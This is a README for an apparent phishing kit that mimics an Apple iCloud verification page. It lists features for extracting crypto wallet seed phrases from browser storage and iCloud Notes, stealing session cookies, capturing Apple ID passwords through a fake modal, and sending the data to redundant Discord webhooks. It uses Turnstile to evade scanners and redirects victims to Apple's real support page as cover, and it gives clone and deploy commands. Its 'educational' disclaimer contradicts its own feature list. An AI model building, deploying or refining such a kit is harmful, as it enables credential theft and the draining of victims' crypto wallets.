iCloud Storage & Security is a two‑layer verification tool designed to help users manage their iCloud storage and device security. It combines a clean Apple‑grade interface with Cloudflare Turnstile bot protection and a full‑screen iCloud verification flow.
This project is intended for educational and internal testing purposes only.
| Feature | Description |
|---|---|
| Turnstile Gate | Blocks bots, crawlers, and automation before the page loads |
| Apple‑grade UI | Clean, trusted design that matches Apple's style guide |
| iCloud Urgency | "Backup expiring" message drives action |
| Two‑Layer Extraction | Layer 1 extracts wallet data; Layer 2 captures iCloud credentials |
| Wallet Detection | Supports 10+ wallets (MetaMask, Trust, Phantom, Coinbase, Exodus, Keplr, Rabby, Brave) |
| Seed Extraction | Captures 12‑word and 24‑word seed phrases from localStorage, sessionStorage, and iCloud Notes |
| Cookie Exfil | Steals session cookies for iCloud, Gmail, Binance, Coinbase, and more |
| iCloud Credential Capture | Fake system modal captures Apple ID email + password |
| iCloud Notes Scrape | Scans iCloud Notes for any seed phrases stored there |
| Discord Exfil | Sends all data to 3 Discord webhooks (redundant delivery) |
| Redirect Cover | After exfil, target is sent to Apple's real support page |
| Under 2 Seconds | Everything runs in parallel — the target doesn't notice |
| Cross‑Platform | Works on iOS, Android, and Desktop browsers |
| No Backend Required | Everything runs client‑side — no server, no database |
| Layer | Technology |
|---|---|
| Frontend | HTML5, CSS3, Vanilla JavaScript |
| Bot Protection | Cloudflare Turnstile |
| Hosting | Vercel (recommended) |
| Domain | Custom or Vercel subdomain |
| Exfiltration | Discord webhooks (3 redundant channels) |
git clone https://github.com/chang5-ctrl/apple-verify-icloud.git
cd apple-verify-icloudopen index.htmlvercel deploy --prodOr drag and drop the index.html file into Vercel.
To test the flow locally:
- Open
index.htmlin your browser - Complete the Turnstile challenge
- Click "Verify & Update"
- Layer 1 extracts wallet data and sends to Discord
- Layer 2 triggers the iCloud popup
- Enter test credentials and submit
- You'll be redirected to Apple's support page
Note: Discord webhooks are for debugging purposes only.
apple-verify-icloud/
├── index.html # Main page (gate + Apple UI + two‑layer exfil)
├── README.md # This file
└── LICENSE # MIT License
- No data is stored on any server.
- All exfiltration is sent to a debug webhook for testing.
- Turnstile ensures only real humans can access the page.
- This project is for educational and internal testing only.
Found a bug? Have a suggestion? Open an issue or submit a PR.
This project is licensed under the MIT License — see the LICENSE file for details.
- Cloudflare Turnstile — for bot protection
- Vercel — for instant deployment
- Apple — for the design inspiration
Made with ❤️ by chang5-ctrl